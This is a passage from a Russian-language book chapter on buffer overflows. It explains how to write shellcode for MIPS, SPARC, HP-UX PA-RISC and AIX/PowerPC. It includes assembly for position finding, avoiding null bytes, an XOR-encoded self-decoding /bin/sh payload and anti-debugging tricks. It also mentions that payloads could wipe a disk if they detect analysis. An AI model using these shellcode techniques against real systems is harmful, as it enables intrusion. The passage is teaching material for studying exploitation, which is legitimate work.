Прерывание системного вызова

SLTI

DEST, SRC, VALUE

DEST = (SRC < TARGET)

Также интересным свойством MIPS>процессоров является то, что они могут ра>
ботать и с прямым порядком байтов (little endian), и с обратным порядком (big en>
dian). В DEC>компьютерах обычно применяется прямой порядок байтов, а в SGI>
машинах — обратный. Как указывалось выше, от этого зависит способ сохранения
чисел в памяти.

Определение положения в памяти
Одной из важнейших задач, которые должны быть реализованы в коде командно>
го интерпретатора, является определение текущего положения в памяти указателя
команд. На платформе x86 это обычно делается с помощью вызова, после которого
следует вывод данных из стека (см. раздел, посвященный полезной нагрузке). Одна>
ко для платформы MIPS не предусмотрено команд для ввода и вывода данных из
стека (pop and push).
Итак, у нас есть 32 регистра. Восемь из этих регистров (с 8 по 15) зарезервирова>
ны для временного использования. При необходимости мы можем использовать эти
регистры.

300

Глава 7

Нашей первой командой является li. Команда li загружает значение непосред>
ственно в регистр.
li register[8], -1

Эта команда загружает –1 во временный регистр. Нашей целью является полу>
чить текущий адрес, поэтому мы выполняем условный переход, при котором сохра>
няется текущая позиция указателя команд. Это напоминает вызов на платформе x86.
Однако на платформе MIPS адрес возврата размещается в регистр 31 и не размеща>
ется в стек.
AGAIN:
bltzal register[8], AGAIN

С помощью этой команды текущий адрес указателя команд размещается в ре>
гистр 31 и выполняется условный переход. В этом случае условный переход возвра>
щает нас непосредственно к этой команде. И наше текущее положение теперь хра>
нится в регистре 31. Команда bltzal выполняет условный переход, если значение в
регистре 8 меньше нуля. Если мы не хотим попасть в бесконечный цикл, нам нужно
гарантировать обнуление значения регистра 8. Помните о нашей ужасной отложен>
ной передаче управления? Возможно, она не столь ужасна. Из>за отложенной пере>
дачи управления будет выполняться команда после bltzal, причем не имеет значе>
ния, какая именно это команда. Это предоставляет нам возможность обнулить зна>
чение регистра. Для обнуления регистра 8 мы используем команду stli. Эта
команда возвращает значение TRUE или FALSE в зависимости от значения операн>
дов. Если op1 >= op2, то результатом выполнения команды является FALSE
13
(нуль). Окончательный код выглядит следующим образом .
li register[8], -1
AGAIN:
bltzal register[8], AGAIN
slti register[8], 0, -1

В этом фрагменте кода цикл выполняется только один раз, после чего продолжа>
ется выполнение программы. Использование отложенной передачи управления для
обнуления значения регистра — весьма удачная уловка. С этого момента в регист>
ре 31 хранится текущее положение указателя команд в памяти.

Как избежать нулевых байтов в машинном коде MIPS
Коды машинных команд для MIPS имеют размер 32 бита. В большинстве случаев
требуется, чтобы в машинном коде не было байтов NULL. Это ограничивает наши
возможности по использованию кодов машинных команд. Положительным момен>
том является то, что существует большое количество различных кодов машинных
команд, которые выполняют одинаковые задачи. Одной из небезопасных (при атаке)
команд является move, т.е. хакер не может использовать команду move для переме>
щения данных из одного регистра в другой. Вместо этого придется использовать не>
сколько хитрых трюков, чтобы в конечном регистре была размещена копия значе>
ния. Как правило, срабатывает использование оператора AND.
and register[8], register[9], -1
13

По данному вопросу обратитесь к статье “Writing MIPS/Irix Shellcode”, Phrack Magazine
#56, article 15. — Прим. авт.

Переполнение буфера

301

Эта команда позволяет скопировать значение из регистра 9 в регистр 8.
В машинном коде для платформы MIPS широко используется машинная коман>
да slti. В этой команде отсутствуют нулевые байты. Напоминаем, что мы уже про>
демонстрировали, как команда stli может использоваться для обнуления значения
в регистре. Очевидно, что мы можем использовать slti для занесения значения 1 в
регистр. Хитрости для внесения численных значений в регистр практически ничем
не отличаются от тех, что применяются для других платформ. Мы можем записать в
регистр безопасное значение и после нескольких операций с регистром получить
нужное нам значение. В этой связи очень полезно использовать оператор NOT. На>
пример, если мы хотим, чтобы в регистре 9 было установлено значение MY_VALUE,
то можно воспользоваться следующим кодом.
li register[8], -( MY_VALUE + 1)
not register[9], register[8]

Системные вызовы на платформе MIPS
Системные вызовы имеют критически важное значение для большинства полез>
ных нагрузок. В среде Irix/MIPS в регистре v0 записывается номер системного вы>
зова. В регистрах от a0 до a3 содержатся аргументы для системного вызова. Специ>
альная команда syscall применяется для активизации системного вызова. Напри>
мер, системный вызов execv может использоваться для загрузки командного
интерпретатора. На платформе Irix кодом системного вызова execv является
0x3F3, а в регистре a0 хранится указатель на каталог (т.е. /bin/sh).

Структура полезной нагрузки для платформы SPARC
Как и для платформы MIPS, платформа SPARC является RISC>архитектурой и
каждая машинная команда имеет размер 32 бит. Некоторые модели компьютеров
могут работать как с прямым, так и обратным порядком байтов. SPARC>команды
имеют следующий формат
ТК

Регистр+
получатель

Спецификатор
команды

Исходный
регистр

Флаг
SR

Второй исходный
регистр или константа

Здесь поле TK имеет размер 2 бит и указывает на тип команды, регистр>
получатель имеет размер 5 бит, спецификатор команды и исходный регистр тоже за>
нимают по 5 бит; однобитовый флаг SR показывает, используется ли константа или
второй исходный регистр, и в последнем поле (13 бит) хранится значение второго
исходного регистра или константы в зависимости от установленного флага SR.

Окно регистров для платформы SPARC
На платформе SPARC используется особая система для управления регистрами.
В SPARC применяется технология окна регистров, когда определенные банки реги>
стров “перемещаются” при вызове функции. Обычно используются 32 регистра.

302

Глава 7

g0–g7 — общие регистры. Они не изменяются между вызовами функций. В спе>
циальном регистре g0 хранится значение нуля (т.н. источник нуля).
i0–i7 — входные регистры. Регистр i6 используется как указатель фрейма. В
регистре i7 хранится адрес возврата предыдущей функции. Значения этих ре>
гистров изменяются при вызове функции.
l0–l7 — локальные регистры. Значения этих регистров изменяются при вызо>
ве функции.
o0–o7 — выходные регистры. Регистр i6 используется как указатель стека.
Значения этих регистров изменяются при вызове функции.
Дополнительными специальными регистрами являются pc, psr и npc.
При вызове функций значения в “перемещающихся” регистрах изменяются сле>
дующим образом.
На рис. 7.18 показано, что происходит при перемещении регистров. Значения реги>
стров o0–o7 копируются в регистры i0–i7. Прежние значения регистров i0–i7 стано>
вятся недоступными. То же самое касается и значений регистров l0–l7 и o0–o7. Един>
ственные данные в регистрах, которые “выживают” при вызове функции, — это данные
из регистров o0–o7, которые копируются в регистры i0–i7. Выходные регистры для
вызывающей функции становятся входными регистрами для вызванной функции.
При возврате значения вызванной функции, значения входных регистров копируются
обратно в выходные регистры вызывающей функции. Локальные регистры являются
локальными для каждой функции и не участвуют в этом обмене данными.
Функция 1
Входные
буферы
i0 + i7
Локальные
буферы
l0 + l7
Выходные
буферы
o0 + o7

Функция 2
Входные
буферы
i0 + i7
Локальные
буферы
l0 + l7
Выходные
буферы
o0 + o7

Функция 3
Входные
буферы
i0 + i7
Локальные
буферы
l0 + l7
Выходные
буферы
o0 + o7

Рис. 7.18. Изменения в SPARCрегистрах при вызове функции

Переполнение буфера

303

Функция 1 вызывает функцию 2. Значения выходных регистров функции 1 ста>
новятся значениями входных регистров функции 2. Это единственные значения ре>
гистров, которые передаются функции 2. Когда функция 1 инициирует команду вы>
зова, текущее значение счетчика команд (programm counter —pc) записывается в ре>
гистр o7 (адрес возврата). Когда управление передается функции 2, то адрес
возврата таким образом заносится в регистр i7.
Функция 3 вызывает функцию 3. Снова повторяется тот же процесс обмена дан>
ными в регистрах. Значения выходных регистров функции 2 заносятся во входные
регистры функции 3. При возвращении значения функции происходит противопо>
ложный процесс: значения входных регистров функции 3 заносятся в выходные ре>
гистры функции 2. При возврате значения для функции 2 значения входных регист>
ров функции 2 заносятся в выходные регистры функции 1.

Использование стека на платформе SPARC
На платформе SPARC команды save и restore используются для управле>
ния стеком вызовов. При использовании команды save, значения входных и ло>
кальных регистров сохраняются в стеке. Выходные регистры становятся входными
(как мы только что рассказали). Предположим, что мы используем следующую про>
стую программу.
func2()
{
}
func1()
{
}

func2();

void main()
{
func1();
}

Функция main() вызывает функцию func1(). Поскольку в SPARC применяет>
ся отложенная передача управления, то будет выполнена следующая команда. В
данном случае мы размещаем как дополнительную команду nop. При выполнении
команды call, значение счетчика команд (pc) записывается в регистр o7 (адрес воз>
врата).
0x10590 :
0x10594 :

call 0x10578
nop

Теперь выполняется функция func1(). Прежде всего эта функция вызывает ко>
манду save. Команда save сохраняет значения входных и локальных регистров в
стеке и перемещает значения регистров o0–o7 в регистры i0–i7. Таким образом, ад>
рес возврата функции хранится в регистре i7.
0x10578 :

save %sp, -112, %sp

Затем функция func1() вызывает функцию func2(). В качестве команды, вы>
полняющейся при отложенной передаче управления, мы используем nop.
0x1057c :
0x10580 :

call 0x1056c
nop

304

Глава 7

Теперь выполняется функция func2(), она сохраняет окно регистров и просто
возвращает значение. Для возвращения используется команда ret, причем значение
возвращается к адресу, сохраненному во входном регистре i7 плюс 8 байт
(пропуская команду отложенной передачи управления после оригинального вызо>
ва). Команда отложенной передачи управления после ret — это команда restore,
которая восстанавливает окно регистров для предыдущей функции.
0x1056c :
0x10570 :
0x10574 :

save %sp, -112, %sp
ret
restore

Функция func1() повторяет тот же процесс, возвращаясь к адресу, сохраненно>
му в регистре i7 плюс 8 байт. Затем происходит восстановление.
0x10584 :
0x10588 :

ret
restore

Теперь мы вернулись в функцию main. Эта функция повторяет те же действия, и
программа завершается.
0x10598 :
0x1059c :

ret
restore

Как показано на рис. 7.19, когда функция 1 вызывает функцию 2, то адрес возвра>
та сохраняется в регистре o7. Значения локальных и входных регистров размещают>
ся в стеке по текущему адресу указателя стека для функции 1. Затем стек растет
сверху вниз (к младшим адресам). Локальные переменные для стекового фрейма
функции 2 растут по направлению к данным, сохраненным в стековом фрейме для
функции 1. При возвращении значения функции 2 искаженные данные восстанав>
ливаются в локальных и входных регистрах. Однако сам адрес возврата из
функции 2 не искажается, поскольку он хранится не в стеке, а в регистре i7.
Младшие адреса
Стековый фрейм
для функции 2
Функция 1

AAAAAA….

save

Функция 2

Локальные регистры

Сюда указывает
указатель стека (SP)
для функции 2
При вызове
функции 2 стек
растет сверху
вниз к младшим
адресам

Входные регистры
Стековый фрейм
для функции 1

Сюда указывает
указатель стека (SP)
для функции 1

Старшие адреса

Рис. 7.19. Схема использования регистров в простой SPARCпрограмме

Переполнение буфера

305

Поиск вызовов функций на платформе SPARC
Следует помнить, что в конце каждой функции вызывается команда ret для воз>
врата к предыдущей функции. Команда ret получает адрес возврата из регистра i7.
Это означает, что для изменения адреса возврата требуется реализовать как мини>
мум два этапа атаки на вызов функции.
Предположим, хакер осуществляет переполнение локального буфера в функции 2
для искажения данных, сохраненных во входных и локальных регистрах. Возврат
функции 2 происходит нормально, поскольку адрес возврата сохранен в регистре i7.
Теперь хакер “находится” в функции 1. Значения регистров i0–i7 для функции 1 вос>
станавливаются из стека. Данные в этих регистрах будут искажены из>за проведенной
атаки на переполнение буфера. Поэтому при возврате из функции 1 осуществится пе>
реход по теперь уже искаженному адресу, сохраненному в регистре i7.

Структура полезной нагрузки на платформе PA-RISC
Платформа HP/UX PA>RISC тоже основана на RISC>архитектуре. Размер ис>
пользующихся команд составляет 32 бит. Этот процессор может работать как с пря>
мым, так и обратным порядком байтов. Используются 32 общих регистра. Более
подробную информацию наши читатели смогут получить из руководства Assembler
Reference Manual, доступного по адресу http://docs.hp.com.
Чтобы узнать, как язык ассемблера интерпретирует код на языке C на платформе
HP/UX, воспользуйтесь следующей командой
cc –S

которая позволяет получить неисполняемый код на ассемблере (с расширением фай>
ла .s). С помощью программы cc файл с расширением .s может быть скомпилирован в
исполняемый файл. Например, если у нас есть следующая программа на языке С
#include
int main()
{
printf("hello world\r\n");
exit(1);
}

то с помощью команды cc -S создается файл test.s.
.LEVEL 1.1

main

.SPACE $TEXT$,SORT=8
.SUBSPA $CODE$,QUAD=0,ALIGN=4,ACCESS=0x2c,CODE_ONLY,SORT=24
.PROC
.CALLINFO CALLER,FRAME=16,SAVE_RP
.ENTRY
STW
%r2,-20(%r30) ;offset 0x0
LDO
64(%r30),%r30 ;offset 0x4
ADDIL
LR'M$2-$global$,%r27,%r1 ;offset 0x8
LDO
RR'M$2-$global$(%r1),%r26 ;offset 0xc
LDIL
L'printf,%r31 ;offset 0x10
.CALL
ARGW0=GR,RTNVAL=GR ;in=26;out=28;
BE,L
R'printf(%sr4,%r31),%r31 ;offset 0x14
COPY
%r31,%r2
;offset 0x18
LDI
1,%r26
;offset 0x1c
LDIL
L'exit,%r31
;offset 0x20

306

M$2

Глава 7
.CALL
ARGW0=GR,RTNVAL=GR
;in=26;out=28;
BE,L
R'exit(%sr4,%r31),%r31
;offset 0x24
COPY
%r31,%r2
;offset 0x28
LDW
-84(%r30),%r2
;offset 0x2c
BV
%r0(%r2)
;offset 0x30
.EXIT
LDO
-64(%r30),%r30 ;offset 0x34
.PROCEND
;out=28;
.SPACE $TEXT$
.SUBSPA $CODE$
.SPACE $PRIVATE$,SORT=16
.SUBSPA $DATA$,QUAD=1,ALIGN=8,ACCESS=0x1f,SORT=16
.ALIGN 8
.STRINGZ
"hello world\r\n"
.IMPORT $global$,DATA
.SPACE $TEXT$
.SUBSPA $CODE$
.EXPORT main,ENTRY,PRIV_LEV=3,RTNVAL=GR
.IMPORT printf,CODE
.IMPORT exit,CODE
.END

Теперь с помощью следующей команды мы можем скомпилировать файл test.s.
cc test.s

В результате мы получаем исполняемый двоичный файл a.out. Этот пример де>
монстрирует процесс программирования на ассемблере для платформы PA>RISC.
Пожалуйста, обратите особое внимание на следующие важные аспекты.
.END указывает на последнюю команду в файле на машинном языке.
.CALL определяет способ передачи параметров в последующий вызов функции.
.PROC и .PROCEND указывают на начало и конец процедуры. Каждая процеду>
ра должна содержать .CALLINFO и .ENTER/.LEAVE.
.ENTER и .LEAVE обозначают точки пролога и эпилога процедуры.

Использование стека на компьютерах PA-RISC14
В чипах на основе платформы PA>RISC не используется механизм call/ret.
Однако используются стековые фреймы для хранения адресов возврата. Давайте
воспользуемся простой программой, чтобы продемонстрировать, как в архитектуре
PA>RISC осуществляется управление переходами и адресами возврата.
void func()
{
}
void func2()
{
func();
}
void main()
{
func2();
}

14

Также рекомендуем прочесть статью Зодиака (Zhodiak) “HPUX PARISC 1.1 Overflows”
Phrack Magazine #58, article 11. — Прим. авт.

Переполнение буфера

307

Это действительно очень просто. Нашей целью является демонстрация простейшей
программы, в которой осуществляется операция ветвления (условного перехода).
Выполнение функции main() начинается приблизительно таким образом: сначала
команда stw (store word) используется для сохранения в указателе значения адреса
возврата функции (rp) в стеке со смещением –14 (–14(sr0,sp)). Наш указатель сте>
ка установлен по адресу 0x7B03A2E0. Смещение отнимается от адреса указателя сте>
ка, т.е. 0x7B03A2E0 – 14 = 0x7B03A2CC. Текущее значение RP сохраняется по ад>
ресу памяти 0x7B03A2CC. Как видим, адрес возврата сохранен в стеке.
0x31b4 :

stw rp,-14(sr0,sp)

Затем команда ldo (load offset) задает смещение 40 относительно текущей пози>
ции указателя стека. Новым значением адреса указателя стека будет 0x7B03A2E0 +
40 = 0x7B03A320.
0x31b8 :

ldo 40(sp),sp

Следующей командой является ldil (load immediate left), которая загружает
0x3000 в общий регистр r31. После этого выполняются команды be,l (branch
external и link). При операции перехода используется значение из регистра r31 и до>
бавляется смещение 17с (17c(sr4,r31)), т.е. выполняется следующее вычисление
0x3000 + 17C = 0x317C. Теперь указатель на адрес возврата функции к нашей
текущей позиции хранится в регистре r31 (%sr0,%r31).
0x31bc :

ldil 3000,r31

0x31c0 :

be,l 17c(sr4,r31),%sr0,%r31

Не забывайте о команде, выполняющейся в результате отложенной передачи
управления. Команда ldo выполняется до операции ветвления. Она копирует зна>
чение из r31 в rp. Кроме того, помните, что в r31 хранится наш адрес возврата. Мы
перемещаем его в указатель возврата RP. Кроме того, мы выполняем переход к
функции func2().
0x31c4 :

ldo 0(r31),rp

Далее выполняется функция func2(). Выполнение начинается с сохранения те>
кущего значения RP в стеке со смещением –14.
0x317c : stw rp,-14(sr0,sp)

Затем добавляем 40 к значению нашего указателя стека.
0x3180 :

ldo 40(sp),sp

Загружаем 0x3000 в регистр r31 для подготовки к следующему переходу, после
чего вызываем команды be и l со смещением 174. Адрес возврата функции сохраня>
ется в r31, и мы переходим по адресу 0x3174.
0x3184 :
0x3188 :

ldil 3000,r31
be,l 174(sr4,r31),%sr0,%r31

До выполнения операции ветвления наша команда отложенной передачи управ>
ления перемещает адрес возврата функции из r31 в rp.
0x318c :

ldo 0(r31),rp

Теперь мы находимся в функции func() в конце строки. Поскольку выполнены
все действия, происходит возврат из функции func(). Такую функцию часто назы>

308

Глава 7

вают листовой функцией (leaf function), поскольку она не вызывает никаких других
функций. Таким образом, для этой функции не требуется сохранять копию значения
rp. Возврат из функции осуществляется с помощью команды bv (branch vectored),
чтобы перейти по адресу, сохраненному в rp. В качестве команды, выполняющейся
при отложенной передаче управления, задана команда nop.
0x3174 : bv r0(rp)
0x3178 :
nop

Теперь мы вернулись в func2(). Следующая команда записывает сохраненный
адрес возврата из функции со смещением –54 в rp.
0x3190 :

ldw -54(sr0,sp),rp

Затем мы осуществляем возврат из функции с помощью команды bv.
0x3194 :

bv r0(rp)

Вспомним о нашей отложенной передаче управления. До завершения команды
bv мы исправляем значение указателя стека на его оригинальное значение до вызова
функции func2().
0x3198 :

ldo -40(sp),sp

Возвращаемся в функцию main() и повторяем те же действия. Загружаем старое
значение указателя возврата из стека. Далее исправляем значение указателя стека и
возвращаемся с помощью команды bv.
0x31c8 :
0x31cc :
0x31d0 :

ldw -54(sr0,sp),rp
bv r0(rp)
ldo -40(sp),sp

Переполнение буфера на платформе HP/UX PA-RISC
Значения автоматически созданных переменных хранятся в стеке. В отличие от ар>
хитектуры Wintel, локальные буферы наследуются из сохраненных адресов возврата
функций. Предположим, функция 1 вызывает функцию 2. Первым действием функ>
ции 2 является сохранение адреса возврата в функцию 1. Этот адрес сохраняется в
конце стекового фрейма функции 1. Затем выделяются области памяти для локальных
буферов. После того как локальные буферы были использованы, они наследуются из
предыдущего стекового фрейма. Поэтому невозможно использовать локальный буфер
текущей функции для атаки на переполнение буфера и затирания адреса указателя
возврата из функции. Чтобы воздействовать на указатель возврата из функции, необ>
ходимо организовать переполнение буфера для значения локальной переменной, ко>
торый был выделен в стековом фрейме предыдущей функции (рис. 7.20).

Операции ветвления на платформе PA-RISC
Платформа HP/UX является намного более сложной платформой для проведе>
ния атак на переполнение буфера. Рассмотрим, как работают операции ветвления.
Память на платформе PA>RISC разделяется на сегменты, которые называются об>
ластями (space). Существует два вида команд перехода: локальные и внешние. В ос>
новном используются локальные переходы. Единственным случаем использования
внешних команд перехода является вызов функций из общедоступных библиотек
наподобие libc.

Переполнение буфера

309
Младшие адреса
Стековый фрейм
для функции 1

Функция 1

Функция 2

Прежнее значение
rp, сохраненное
функцией 2
Стековый фрейм
для функции 2
AAAAAA...

Старшие адреса

Сюда указывает
указатель стека (SP) для
функции 1 и по ссылкам
осуществляется
отрицательное
смещение (т.е. SP+0x14)

Сюда указывает
указатель стека (SP) для
функции 2 и по ссылкам
осуществляется
отрицательное
смещение (т.е. SP+0x14)

Рис. 7.20. Переполнение буфера на архитектуре HPUX RISC

Поскольку наш стек хранится в области памяти, которая отличается от области
хранения нашего кода, то очевидно, что придется использовать внешний переход. В
противном случае будет вызываться исключение SIGSEGV при каждой попытке
выполнить наши команды в стеке.
В области памяти для нашей программы можно найти заглушки (stub), которые
управляют вызовами между программой и совместно используемыми библиотеками.
Внутри этих заглушек содержатся команды внешнего перехода (be), как, например,
показано ниже.
0x7af42400
0x7af42404
0x7af42408
0x7af4240c

:
:
:
:

ldw -18(sr0,sp),rp
ldsid (sr0,rp),r1
mtsp r1,sr0
be,n 0(sr0,rp)

Как видим, адрес указателя возврата функции берется из стека со смещением –
18. Затем мы видим операцию внешнего перехода (be,n). Это именно тот переход,
с помощью которого можно провести атаку. Для этого нужно исказить содержимое
стека в этой точке. В данном случае просто находим внешний переход и проводим
непосредственную атаку. Для этой цели в нашем примере используется функция
strcpy из библиотеки libc.
Очень часто при атаках используются только локальные переходы (bv), но ино>
гда вполне уместно использование “трамплинов” и внешних переходов во избежание
исключений SIGSGEV.

“Трамплины” между областями памяти
Если есть возможность использовать переполнение буфера только для искаже>
ния значения указателя возврата для локального перехода (bv), то нужно найти
внешний переход для возврата. Для этого используется очень простой прием. Сле>
дует найти внешний переход где>то в области памяти для текущего кода. Не забы>

310

Глава 7

вайте, что используется команда bv, а поэтому нельзя взять адрес возврата, указы>
вающий на другую область памяти. Как только будет обнаружена команда be, мож>
но использовать переполнение буфера для команды bv и затереть адресом возврата
к команде be оригинальный адрес возврата. Затем команда be использует другой
указатель возврата из стека, в данном случае к нашей области стека. При использо>
вании подобного “трамплина” в векторе вторжения можно записать два различных
адреса возврата, каждый для своего перехода (рис. 7.21).
Функция,
использованная
при переполнении
буфера

Переполняемый
стек

(локальный
переход)

Адрес возврата 1

Функция или
заглушка с
внешним
переходом

Адрес возврата 2

(внешний
переход)
Код для
командного
интерпретатора

Этот адрес возврата
должен указывать на
адрес в том же
пространстве памяти

Этот адрес возврата
может указывать на
внешний адрес в
стеке

Рис. 7.21. “Трамплины” между областями памяти. Идея заключается в том, чтобы
“оттолкнуться” от второго указателя с целью обойти правила защиты памяти

Информация о положении в памяти
Операции ветвления (условного перехода) на платформе PA>RISC могут быть
внешними или локальными. Локальные переходы ограничены текущей областью
памяти. В регистре gr2 записывается адрес возврата (также называемый rp) вызова
процедуры. В документации по PA>RISC это называется связкой (linkage). Восполь>
зовавшись командами перехода и связи (b,l), можно записать в регистр текущее
15
значение указателя команд . Например:
b,l

.+4, %r26

Чтобы проверить нашу программу, воспользуемся программой GDB для отладки
и пошагового прогона кода. Для запуска GDB просто введите ее название вместе с
именем исполняемого двоичного файла.
gdb a.out
15

Обратитесь к статье “Unix Assembly CodesDevelopment for Vulnerabilities Illustration
Purposes”, доступной на Webсайте исследовательской группы The Last Stage of Delerium Re
search Group (http://lsd-pl.net). — Прим. авт.

Переполнение буфера

311

Исполнение кода начинается с адреса 0x3230 (в действительности с 0x3190, но
осуществляется переход к 0x3230), поэтому именно на этом адресе мы устанавли>
ваем первую точку останова.
(gdb) break *0x00003230
Breakpoint 1 at 0x3230

Затем запускаем программу.
(gdb) run
Starting program: /home/hoglund/a.out
(no debugging symbols found)...(no debugging symbols found)...
Breakpoint 1, 0x00003230 in main ()
(gdb) disas
Dump of assembler code for function main:
0x3230 : b,l 0x3234 ,r26

Мы достигли точки останова. Вы видите, что в результате выполнения команды
disas обнаружены команды b,l. Запускаем команду stepi для перехода вперед на
одну команду, после чего исследуем содержимое регистра 26.
(gdb) stepi
0x00003234 in main ()
(gdb) info reg
flags:
39000041
r1:
eecf800
rp:
31db
r3:
7b03a000
r4:
1
r5:
7b03a1e4
r6:
7b03a1ec
r7:
7b03a2b8
r8:
7b03a2b8
r9:
400093c8
r10:
4001c8b0
r11:
0
r12:
0
r13:
2
r14:
0
r15:
20c
r16:
270230
r17:
0
r18:
20c
r19:
40001000
r20:
0
r21:
7b03a2f8
r22:
0
r23:
1bb
r24:
7b03a1ec
r25:
7b03a1e4
r26:
323b
dp:
40001110
ret0:
0
ret1:
2cb6880

sr5:
6246c00
sr6:
8a88800
sr7:
0
cr0:
0
cr8:
0
cr9:
0
ccr:
0
cr12:
0
cr13:
0
cr24:
0
cr25:
0
cr26:
0
mpsfu_high:
0
mpsfu_low:
0
mpsfu_ovfl:
0
pad: ccab73e4ccab73e4
fpsr:
0
fpe1:
0
fpe2:
0
fpe3:
0
fpe4:
0
fpe5:
0
fpe6:
0
fpe7:
0
fr4:
0
fr4R:
0
fr5:
40000000
fr5R:
1fffffff
fr6:
40000000
fr6R:
1fffffff

Как видим, в регистр 26 (r26) занесено значение 0x323B — адрес, непосредствен>
но следующий за нашей текущей позицией. Таким образом мы смогли обнаружить и
сохранить адрес нашей текущей позиции в памяти.

312

Глава 7

Саморасшифровывающаяся полезная нагрузка
для платформы HP/UX
В нашем последнем примере для платформы HP/UX PA>RISC мы рассмотрим са>
морасшифровывающуюся полезную нагрузку. На самом деле в нашем примере ис>
пользуется элементарное кодирование XOR, которое даже нельзя назвать шифровани>
ем, а только кодированием. Однако вовсе несложно самостоятельно добавить настоя>
щий криптографический алгоритм или усложнить код XOR. На рис. 7.22 схематически
изображена базовая концепция подобного кодирования. Для использования этого
примера на практике нужно удалить команду nop и заменить ее командой, в которой
нет символов NULL. Преимущество кодирования полезной нагрузки состоит в том,
что на создание кода никак не влияет наличие символов NULL. Кроме того, можно
скрыть свою полезную нагрузку, чтобы никто не воспользовался вашими разработка>
ми и не “забросил” вашу полезную нагрузку непосредственно в IDA>Pro.
Младшие адреса

Младшие адреса

Незашифрованная
часть полезной
нагрузки —
“дешифровщик”

Незашифрованная
часть исполняется
до декодированной
части

Команды,
закодированные
с помощью
операции XOR

Декодированная
часть

Старшие адреса

Старшие адреса

Начальная часть полезной
нагрузки декодирует
следующую часть и
продолжает исполнение в
декодированной
полезной нагрузке

Рис. 7.22. Саморасшифровывающаяся полезная нагрузка для
платформы HP/UX

Наша полезная нагрузка выглядит следующим образом.
.SPACE $TEXT$
.SUBSPA $CODE$,QUAD=0,ALIGN=8,ACCESS=44
.align 4
.EXPORT main,ENTRY,PRIV_LEV=3,ARGW0=GR,ARGW1=GR
main

bl

shellcode, %r1

Переполнение буфера

313

nop
.SUBSPA $DATA$
.EXPORT shellcode
shellcode

start

bl
xor
xor
xor
addi,<
addi,<

.+4, %r26
%r25, %r25, %r25
%r23, %r23, %r23
%r24, %r24, %r24
0x2D, %r26, %r26
7*4+8, %r23, %r23

addi,<

0x69,

ldo
ldbs
xor

1(%r25), %r25
0(%r26), %r24
%r24, %r23, %r24

%r24, %r24

stbs
%r24, 0(%r26)
ldo
1(%r26), %r26
cmpb, 0x0B, %r0, %r22
;SHELL
;.STRING "/bin/shA"
.STRING "\xCF\x7B\x3B\xD9"
.STRING "\x2F\x1D\x26\xBD"
.STRING "\x93\x7E\x64\x06"
.STRING "\x2B\x64\x36\x2A"
.STRING "\x04\x04\x2C\x25"
.STRING "\xC0\x04\xC4\x2C"
.STRING "\x90\x32\x54\x32"
.STRING "\x0B\x46\x4D\x4A\x0B\x57\x4C\x65"

Декодированная часть полезной нагрузки представляет собой широко исполь>
зуемый код командного интерпретатора, который запускает /bin/sh.
bl
.+4, %r26
xor
%r25, %r25, %r25
addi,< 0x11, %r26, %r26
stbs
%r0, 7(%r26) ; paste a NULL byte after string
ldil
L%0xC0000004, %r1
ble
R%0xC0000004( %sr7, %r1 ) ;make syscall
addi,> 0x0B, %r0, %r22
.STRING "/bin/shA"

Структура полезной нагрузки для платформы AIX/PowerPC
Платформа AIX/PowerPC также основана на RISC>архитектуре. Как и боль>
шинство исследованных нами чипов, этот процессор может работать как с пря>
мым, так и обратным порядком байтов (big или little endian). Используются ко>
манды размером 32 бит.

314

Глава 7

К счастью, работать с PowerPC на AIX немного проще, чем на HP/UX. Стек растет
сверху вниз и локальные буферы растут в направлении сохраненного адреса возврата.

Определение положения в памяти
Определить свое положение в памяти достаточно просто. Выполните команду пе>
рехода на одну команду и воспользуйтесь командой mflr (“move from link register”),
чтобы узнать свое текущее положение. Код выглядит примерно следующим образом.
.shellcode:
xor 20,20,20
bnel .shellcode
mflr 31

Этот код на ассемблере написан для отладчика gcc. Операция XOR приводит к неис>
полнению команды перехода. Однако хотя для команды bnel (“branch if not equal and
link”) переход не выполняется, но связь устанавливается все равно. Текущий указатель
команд сохраняется в регистре lr (link register). Следующая команда mflr сохраняет зна>
чение из регистра lr в регистр 31. И, что очень радует, эти машинные коды не содержат
байтов NULL. Действительные машинные коды выглядят следующим образом.
0x7e94a278
0x4082fffd
0x7fe802a6

Защита для кода командного интерпретатора PowerPC
Теперь добавим еще одно действие для нашего кода командного интерпретатора
для платформы AIX/PowerPC. Пусть в наш код командного интерпретатора добав>
лена команда для обнаружения отладчика. При обнаружении отладчика, код сам се>
бя искажает, а это значительно усложняет взлом и восстановление такого кода. Наш
пример очень простой, но в нем есть один крайне важный момент. Код командного
интерпретатора можно защитить не только с помощью шифрования и самоискаже>
ния, но и посредством вредоносного ответного удара, наносимого при попытке вос>
становления исходного кода. Например, код командного интерпретатора способен
выявить проведение отладки и перейти к выполнению процедуры, которая полно>
стью стирает содержимое жесткого диска.
.shellcode:
xor 20,20,20
bnel .shellcode
mflr 31
.A:
lwz 4,8(31)
.B:
stw 31,-4(1)

.C:
.D:
.E:
.F:

andi. 4, 4, 0xFFFF
cmpli 0, 4, 0xFFFC
beql .coast_is_clear
addi 1, 1, 66


.coast_is_clear:
mr 31,1


Переполнение буфера

315

В этом примере не предпринимается попытки избежать появления символов
NULL. Мы можем исправить эту проблему, создав более сложные строки команд,
которые приводят к тому же результату (команды для удаления символов NULL мы
рассмотрим в следующем разделе). Другим вариантом является добавление хитро>
стей с машинным кодом, подобных тем, что заложены в закодированной части по>
лезной нагрузки (см. наш саморасшифровывающийся код командного интерпрета>
тора для платформы HPUX).
В этом коде командного интерпретатора текущее положение в памяти сохраняет>
ся в регистре 31. Следующая команда (обозначенная буквой A) выполняет загрузку
данных в регистр 4. Эта команда загружает машинный код, который был сохранен
для команды, обозначенной буквой B. Другими словами, она загружает машинный
код для следующей команды. Если кто>то попытается провести пошаговую отладку
кода, то эта команда будет искажена. Оригинальный машинный код не будет загру>
жен. Вместо этого будет использован машинный код для останова отладки. Причина
этого очень проста — при пошаговом исследовании программы отладчик вставляет
команду останова непосредственно перед нашей текущей позицией.
Затем в точке, обозначенной буквой С, выполняется маскирование сохраненного
машинного кода, так что остаются только два младших байта. Команда, обозначен>
ная буквой D, сравнивает эти два байта с ожидаемым значением. При выявлении
совпадения код добавляет 66 к текущей позиции указателя стека (обозначение бук>
вой F) в целях его искажения. В противном случае выполняется переход к команде,
обозначенной coast_is_clear. Очевидно, что можно все сделать еще сложнее, но
искажения значения указателя стека уже достаточно для прекращения выполнения
кода и для блокирования большинства попыток вторжения.

Удаление символов NULL
В последующем примере будет показано, как удалять символы NULL из нашего
защищенного кода. Для каждой команды, в которой вычисляется смещение относи>
тельно текущей позиции (например команды перехода и загрузки), как правило, не>
